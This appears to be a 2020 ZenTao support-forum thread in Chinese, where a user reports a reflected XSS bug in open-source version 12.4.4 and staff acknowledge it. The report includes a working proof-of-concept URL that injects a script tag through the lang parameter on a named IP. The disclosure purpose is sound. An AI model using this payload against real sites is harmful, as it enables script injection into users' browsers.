12.4.4的开源版存在XSS漏洞
回贴
回帖数
1
阅读数
1666
发表时间
2020-11-10 23:53:41
通过URL可以实现反射型XSS，以下是我的测试环境
http://116.196.122.211/?lang=cn'"></title><script>alert(928846)</script>
- 附件
-
-
感谢反馈，这里我们已经记录bug，会在之后版本中修复。目前访问ip时显示的这个页面是禅道的欢迎页面，还没有登录到禅道系统中，欢迎页面目前没有添加到安全过滤中，可以参考这个手册去掉欢迎页面后再试一下：https://www.zentao.net/book/zentaopmshelp/131.html
2020-11-11 10:57:18 张玉洁 回帖
联系人
杨苗/高级客户经理
电话(微信)
13165050229
QQ号码
2692096539
联系邮箱
yangmiao@chandao.com
联系我们
杨苗
高级客户经理
电话(微信)
13165050229
QQ号码
2692096539
联系邮箱
yangmiao@chandao.com
名额有限
完善信息领取项目管理礼包
270+项目管理实践
100+项目管理视频
50+项目管理知识模版
去完善
杨苗/高级客户经理
联系客服领取礼包
